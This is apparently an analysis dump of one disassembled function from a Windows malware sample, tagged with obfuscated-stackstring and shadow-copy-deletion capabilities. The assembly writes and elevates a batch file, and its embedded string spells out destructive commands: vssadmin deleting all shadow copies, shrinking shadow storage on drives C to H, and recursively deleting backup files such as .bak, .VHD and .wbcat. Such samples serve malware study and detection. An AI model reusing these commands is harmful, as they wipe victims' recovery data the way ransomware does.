Function at 0x30004a70
Capabilities:
Contain obfuscated stackstrings
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfa4
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x438]
mov ecx, 0xfa
rep stosd dword es:[edi], eax
push 0x1f4
lea eax, [ebp - 0x438]
push eax
call dword [0x30026438]
xor eax, eax
lea ecx, [ebp - 0x438]
cmp dword [0x300266f0], 1
mov word [ebp - 0x434], ax
lea ebx, [eax + 0x73]
jne 0x30004abf
mov edx, str.Documents_and_SettingsDefault_userwindow.bat
jmp 0x30004b1c
xor eax, eax
mov dword [ebp - 0x34], 0x75005c
mov dword [ebp - 0x30], 0x650073
lea edx, [ebp - 0x34]
mov dword [ebp - 0x2c], 0x730072
mov dword [ebp - 0x28], 0x50005c
mov dword [ebp - 0x24], 0x620075
mov dword [ebp - 0x20], 0x69006c
mov dword [ebp - 0x1c], 0x5c0063
mov dword [ebp - 0x18], 0x690077
mov dword [ebp - 0x14], 0x64006e
mov dword [ebp - 0x10], 0x77006f
mov dword [ebp - 0xc], 0x62002e
mov dword [ebp - 8], 0x740061
mov word [ebp - 4], ax
call fcn.30001a70
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x438]
push eax
call dword [0x30026444]
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x30004ce4
mov bl, byte [0x300249d5]
xor esi, esi
mov ecx, 1
test bl, bl
je 0x30004b6a
nop dword [eax]
inc ecx
cmp byte [ecx + str.bZIiQ], 0
jne 0x30004b60
mov eax, esi
cdq
idiv ecx
mov al, byte [edx + str.bZIiQ]
xor byte [esi + str.vssadmin_Delete_Shadows__all__quiet_r_nvssadmin_resize_shadowstorage__forc:__onc:__maxsize401MB_r_nvssadmin_resize_shadowstorage__forc:__onc:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__ford:__ond:__maxsize401MB_r_nvssadmin_resize_shadowstorage__ford:__ond:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__fore:__one:__maxsize401MB_r_nvssadmin_resize_shadowstorage__fore:__one:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__forf:__onf:__maxsize401MB_r_nvssadmin_resize_shadowstorage__forf:__onf:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__forg:__ong:__maxsize401MB_r_nvssadmin_resize_shadowstorage__forg:__ong:__maxsizeunbounded_r_nvssadmin_resize_shadowstorage__forh:__onh:__maxsize401MB_r_nvssadmin_resize_shadowstorage__forh:__onh:__maxsizeunbounded_r_nvssadmin_Delete_Shadows__all__quiet_r_ndel__s__f__q_c:.VHD_c:.bac_c:.bak_c:.wbcat_c:.bkf_c:Backup._c:_backup._c:.set_c:.win_c:.dsk_r_ndel__s__f__q_d:.VHD_d:.bac_d:.bak_d:.wbcat_d:.bkf_d:Backup._d:_backup._d:.set_d:.win_d:.dsk_r_ndel__s__f__q_e:.VHD_e:.bac_e:.bak_e:.wbcat_e:.bkf_e:Backup._e:_backup._e:.set_e:.win_e:.dsk_r_ndel__s__f__q_f:.VHD_f:.bac_f:.bak_f:.wbcat_f:.bkf_f:Backup._f:_backup._f:.set_f:.win_f:.dsk_r_ndel__s__f__q_g:.VHD_g:.bac_g:.bak_g:.wbcat_g:.bkf_g:Backup._g:_backup._g:.set_g:.win_g:.dsk_r_ndel__s__f__q_h:.VHD_h:.bac_h:.bak_h:.wbcat_h:.bkf_h:Backup._h:_backup._h:.set_h:.win_h:.dsk_r_ndel__0], al
inc esi
cmp esi, 0x5f0
jb 0x30004b53
mov ecx, 0x17c
mov dword [ebp - 0x38], 0
mov esi, 0x3001a8c0
lea edi, [ebp - 0xfa4]
rep movsd dword es:[edi], dword [esi]
mov eax, 1
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0xfa3], 0
je 0x30004bbb
nop dword [eax]
inc eax
cmp byte [ebp + eax - 0xfa4], 0
jne 0x30004bb0
mov esi, dword [ebp - 0x3c]
lea ecx, [ebp - 0x38]
push 0
push ecx
push eax
lea eax, [ebp - 0xfa4]
push eax
push esi
call dword [0x303809a4]
push esi
call dword [0x3002644c]
push 0xc8
lea eax, [ebp - 0x9b0]
push eax
call dword [0x30026438]
xor eax, eax
cmp dword [0x300266f0], 1
mov word [ebp - 0x9ac], ax
jne 0x30004c9d
push 0x3e4
push eax
lea eax, [ebp - 0x81c]
mov dword [ebp - 0x820], 0x22
push eax
call fcn.30001b50
add esp, 0xc
lea edx, [ebp - 0x438]
lea ecx, [ebp - 0x820]
call fcn.30001a70
mov edx, 0x3001aeb4
lea ecx, [ebp - 0x820]
call fcn.30001a70
cmp word [ebp - 0x81e], 0
mov ecx, 1
je 0x30004c61
inc ecx
cmp word [ebp + ecx*2 - 0x820], 0
jne 0x30004c51
test ecx, ecx
je 0x30004c7a
test ecx, ecx
je 0x30004c7a
shr ecx, 1
lea esi, [ebp - 0x820]
lea edi, [ebp - 0x438]
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
push 0
push 0
push 0
lea eax, [ebp - 0x438]
push eax
push 0
push 0
call dword [0x30025400]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0x750072
xor esi, esi
mov dword [ebp - 0x4c], 0x61006e
mov dword [ebp - 0x48], 0x73
movq qword [ebp - 0x44], xmm0
nop dword [eax]
cmp esi, 6
jae 0x30004ce4
push 0
push 0
push 0
lea eax, [ebp - 0x438]
inc esi
push eax
lea eax, [ebp - 0x50]
push eax
push 0
call dword [0x30025400]
cmp eax, 0x20
jb 0x30004cc0
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret